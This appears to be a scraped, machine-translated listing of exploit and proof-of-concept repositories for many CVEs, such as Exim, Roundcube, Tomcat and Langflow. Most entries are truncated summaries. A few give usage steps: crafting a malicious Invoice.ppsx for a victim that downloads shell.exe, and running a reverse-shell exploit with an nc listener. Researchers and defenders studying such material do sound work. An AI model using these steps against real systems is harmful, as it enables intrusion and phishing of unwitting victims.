CVE-2025-60655

CVE-2025-60655 - 無制限アップロードを介したリモートコード実行 RCE | ---|--- 研究者| DotAdrien 深刻度| 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ソフトウェア| Script Pag 説明...

CVE-2017-8570

사용법: 스크립트를 다운로드한 후 attackip를 kali의 IP로, LPORT를 msf가 리슨할 포트로, DIR을 임의의 빈 디렉터리로 수정합니다. 스크립트에 777 권한을 부여합니다. root@kitploit: chmod 777 auto 그다음 스크립트를 실행합니다. root@kitploit: ./auto 그런 다음 DIR+Office8570 디렉터리에서 Invoice.ppsx 파일을 찾아 피해자에게 보냅니다. 피해자가 Invoice.ppsx 파일을 열면 powershell을 이용해 shell.exe를 다운로드하고...

CVE-2019-15107-RCE-WebMin

Webmin CVE-2019-15107 检测 一个轻量级的 Python 脚本，用于对 Webmin 版本进行指纹识别，并将任何运行 1.882 ≤ 版本 ≤ 1.920 的服务器标记为可能存在 CVE-2019-15107 漏洞。该工具 不 利用该漏洞——仅报告漏洞存在。 先决条件 Git Python 3.7+ Docker 与 Docker Compose 仓库结构 root@kitploit: your-project/ ├── detectwebmincve201915107.py ├── requirements.txt └── vulhub/ └──...

CVE-2024-41817-poc

ImageMagick 임의 코드 실행 CVE-2024-41817 ImageMagick 버전 = 9.4.0 Python 패키지: paramiko 설치 root@kitploit: git clone https://github.com/Dxsk/CVE-2024-41817-poc/ cd CVE-2024-41817-poc pip install -r requirements.txt 사용법 취약한 버전 자동 탐지: root@kitploit: python3 exploit.py -H -p -u -P -d 페이로드만 빌드: root@kitploit:...

spring-RCE-CVE-2022-22965

脆弱性の概要 最近、Spring で重大な CVE 脆弱性が報じられました。CVE 情報には"A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution RCE via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spri...

CVE-2025-49113-PoC

CVE-2025-49113 Roundcube RCE PoC 🚀 如何运行项目 1. 启动易受攻击的服务器 root@kitploit: cd Stand docker-compose up -d 2. 对目标运行脚本 root@kitploit: cd PoC/src python3 scanner.py --target http://localhost:9000 --username test --password test --command "id" 📌 基本要求 需要授权 （Post-Auth） 登录凭据：test / test 目标...

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597-

Point-to-Point-Protocol-Daemon-RCE-취약점-CVE-2020-8597- 스리랑카 정보기술 연구소 root@kitploit: 과제 1 M. P. D. M. Dias IT19165530 MLBWDY2S113.1 지점간 프로토콜 데몬 RCE 취약점 CVE-2020-8597 시스템 및 네트워크 프로그래밍– IE2012 목차 1. 소개 2. 취약점 발견자 참조 3. 발견 방법 4. 발견 시기 5. 초래할 수 있는 피해 6. 공격 기술 7. 선택한 공격 방법 8. 익스플로잇 스크린샷 9. 결론 10. 참고문헌 소...

CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability-

CVE-2026-34156 – NocoBase サンドボックスエスケープ（RCE） -orange NocoBase バージョン ≤ 2.0.26 における、ワークフローサンドボックスエスケープを介した認証済みリモートコード実行 。 📋 説明 CVE-2026-34156 は、NocoBase ワークフローエンジンにおけるサンドボックスエスケープの脆弱性です。認証済みの攻撃者は、式サンドボックスをバイパスして基盤となるサーバー上で任意のシステムコマンドを実行する悪意のあるワークフローを作成できます。 攻撃ベクトル – NocoBase API への認証済み HTTP リクエスト...

CVE-2025-3248

CVE-2025-3248 ★ CVE-2025-3248 Langflow RCE PoC ★ ラボのセットアップ root@kitploit: docker pull langflowai/langflow:1.2.0 docker run -d --name CVE-2025-3248 -p 7860:7860 langflowai/langflow:1.2.0 localhost:7860 説明 1.3.0 より前の Langflow は、/api/v1/validate/code...

CVE-2019-7214

CVE-2019-7214 root@kitploit: Exploit Title: SmarterMail...

CVE-2025-24813-Apache-Tomcat-Partial-PUT-Deserialization-RCE-

CVE-2025-24813 - Apache Tomcat 部分PUT + デシリアライゼーションRCE 📋 概要 CVE-2025-24813は、Apache Tomcatにおける高深刻度の脆弱性であり、以下の3つの条件が揃った場合に認証不要のリモートコード実行 を可能にします： 1. デフォルトサーブレットで書き込みアクセスが有効になっている（readonly=false）。 2. 部分PUT（Partial PUT）サポートが有効になっている（デフォルト）。 3. ファイルベースのセッション永続化が設定されている（PersistentManagerによるFileStore）。...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim バージョン 4.87 から 4.91（含む）に欠陥が見つかりました。 /src/deliver.c 内の delivermessage 関数における受信者アドレスの不適切な検証により、リモートでのコマンド実行につながる可能性があります。 例 root@kitploit: nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

CVE-2024-6387-analysis

CVE-2024-6387 OpenSSH 신호 경쟁 조건 취약점 분석 취약점 개요 CVE-2024-6387은 OpenSSH 8.5p1부터 9.7p1까지 존재하는 신호 처리 경쟁 조건 취약점으로, "regreSSHion" 이라고 불립니다. 공격자는 68시간 동안 지속적으로 시도하여 root 권한으로 임의 코드를 실행할 수 있으며, 전 세계 약 1,400만 대의 서버에 영향을 줍니다. 영향 버전 OpenSSH 8.5p1 9.7p1 Ubuntu 22.04 기본 버전 8.9p1 영향 받음 취약점 원리 1. OpenSSH는 SIGALRM...

CVE-2019-12185

CVE-2019-12185 eLabFTW 1.8.5는 /app/controllers/EntityController.php 구성 요소를 통해 임의 파일 업로드에 취약합니다. 이로 인해 원격 코드 실행이 발생할 수 있습니다. 공격자는 사용자 계정을 사용하여 POST 요청을 통해 시스템을 완전히 장악할 수 있습니다. 이를 통해 PHP 파일을 웹 루트에 작성하고 원격 서버에서 코드를 실행할 수 있습니다. -- https://nvd.nist.gov/vuln/detail/CVE-2019-12185 사용 예시 인자 root@kitploit...

CVE-2025-66478

CVE-2025-66478 - Next.js Server Actions RCE 취약점 실제 공격 로그 분석 개요 이 프로젝트는 인터넷에 노출된 Next.js 15.1.2 애플리케이션Docker 컨테이너에서 실행이 기록한 실제 공격 로그를 수집했습니다. 이 로그들은 CVE-2025-66478 취약점이 야생에서 대규모 자동화 공격 도구에 의해 스캔되고 악용되는 상황을 보여줍니다. 기록 시간 범위 : 2025-12-04 2025-12-06 약 48시간 환경 정보 : 프레임워크: Next.js 15.1.2 실행 환경: Bun...

CVE-2024-34102

CVE-2024-34102 ★ @th3gokul, Sanjaith3hacker, Chocapikk님의 원본 코드 베이스에 감사드립니다. ★ 설명 CVE-2024-34102 : Adobe Commerce XXE 취약점 설명: Adobe Commerce 버전 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 및 이전 버전은 XML 외부 엔터티 참조'XXE'에 대한 부적절한 제한 취약점의 영향을 받아 임의 코드 실행이 발생할 수 있습니다. 공격자는 외부 엔터티를 참조하는 조작된 XML 문서를 전송하여 이 취약점을 악용...

CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server 안전한 환경에서 react2shell을 가지고 놀아보세요! 빠른 시작 저장소를 클론하세요 root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Docker 파일을 실행하세요 root@kitploit: docker compose up --build -d PoC root@kitploit: curl -s -X POST...

CVE-2022-34169

CVE-2022-34169 PoC SUCTF 2025의 SUpwn 챌린지를 위한 유연한 PoC 및 솔루션입니다. 원래 발견자Felix Wilhelm의 이 issue와 이 블로그 게시물thanat0s을 기반으로 합니다. 기존에 공개된 PoC들만큼 하드코딩된 상수에 의존하지 않으려고 합니다. 다른 자바 바이트코드 페이로드를 전달하려면예: 일부 WAF 우회 RCE.java만 편집하면 됩니다. 그렇지 않으면 RCE 명령은 CVE-2022-34169.py 상단에 있습니다. web.jar는 SUpwn에서 제공된 파일입니다. 설정...

CVE-2016-10033

WordPress 4.6 - リモートコード実行 RCE PoCエクスプロイト CVE-2016-10033 これは Dawid Golunski のエクスプロイト 41962 の修正版です。...

CVE-2025-2783

Chromium CVE-2025-2783: サンドボックス回避 & フルチェーンRCEエクスプロイト このリポジトリには、CVE-2025-2783 のフルチェーンエクスプロイト実装が含まれています。この脆弱性は Chromium の Ipcz 通信レイヤーに存在し、攻撃者が制限されたレンダラープロセスからサンドボックス回避と任意のコード実行を達成することを可能にします。このエクスプロイトは 134.0.6998.177 までのバージョンをサポートしています。...